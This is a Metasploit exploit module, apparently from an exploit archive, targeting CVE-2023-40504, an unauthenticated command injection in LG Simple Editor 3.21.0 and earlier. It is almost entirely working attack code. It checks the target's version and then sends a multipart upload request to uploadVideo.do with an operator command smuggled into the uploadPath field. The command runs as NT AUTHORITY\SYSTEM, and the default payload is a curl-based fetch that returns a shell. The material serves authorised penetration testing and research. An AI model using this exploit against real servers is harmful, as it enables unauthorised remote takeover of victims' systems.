LG Simple Editor 3.21.0 Command Injection

`class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'LG Simple Editor Command Injection (CVE-2023-40504)',  
'Description' => %q{  
Unauthenticated Command Injection in LG Simple Editor <= v3.21.0.  
The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\SYSTEM.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'rgod', # Vulnerability discovery  
'Michael Heinzl' # MSF module  
],  
'References' => [  
[ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-1208/'],  
[ 'CVE', '2023-40504']  
],  
'DisclosureDate' => '2023-08-04',  
'Platform' => 'win',  
'Arch' => [ ARCH_CMD ],  
'Targets' => [  
[  
'Windows_Fetch',  
{  
'Arch' => [ ARCH_CMD ],  
'Platform' => 'win',  
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },  
'Type' => :win_fetch,  
'Payload' => {  
'BadChars' => '\\'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [true, 'The URI of the LG Simple Editor', '/'])  
]  
)  
end  
  
# Determine if the Simple Editor instance runs a vulnerable version  
# copied from lg_simple_editor_rce.rb  
def check  
res = send_request_cgi(  
{  
'method' => 'GET',  
'uri' => normalize_uri(target_uri, 'simpleeditor', 'common', 'commonReleaseNotes.do')  
}  
)  
  
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?  
  
version = Rex::Version.new(res.get_html_document.xpath('//h2')[0]&.text&.gsub('v', ''))  
return Exploit::CheckCode::Unknown if version.nil? || version == 'Unknown'  
return Exploit::CheckCode::Appears("Version: #{version}") if version <= Rex::Version.new('3.21.0')  
  
Exploit::CheckCode::Safe  
end  
  
def exploit  
execute_command(payload.encoded)  
end  
  
def execute_command(cmd)  
print_status('Sending command injection...')  
exec_simplerce(cmd)  
print_status('Exploit finished, check thy shell.')  
end  
  
# Send command injection  
def exec_simplerce(cmd)  
filename = Rex::Text.rand_text_alpha(1..6)  
vprint_status("Using random filename: #{filename}.mp4")  
form = Rex::MIME::Message.new  
form.add_part('/', nil, nil, "form-data; name=\"uploadVideo\"; filename=\"#{filename}.mp4\"")  
form.add_part("/\"&#{cmd}&cd ..&cd ..&cd ..&cd server&cd webapps&cd simpleeditor&del #{filename}.mp4&/../", nil, nil, 'form-data; name="uploadPath"')  
form.add_part('1', nil, nil, 'form-data; name="uploadFile_x"')  
form.add_part('1', nil, nil, 'form-data; name="uploadFile_width"')  
form.add_part('1', nil, nil, 'form-data; name="uploadFile_height"')  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'simpleeditor', 'imageManager', 'uploadVideo.do'),  
'ctype' => "multipart/form-data; boundary=#{form.bound}",  
'data' => form.to_s  
}  
)  
if res && res.code == 200  
print_good 'Command injection sent.'  
else  
fail_with(Failure::UnexpectedReply, "#{peer}: Unexpected response received.")  
end  
end  
  
end  
`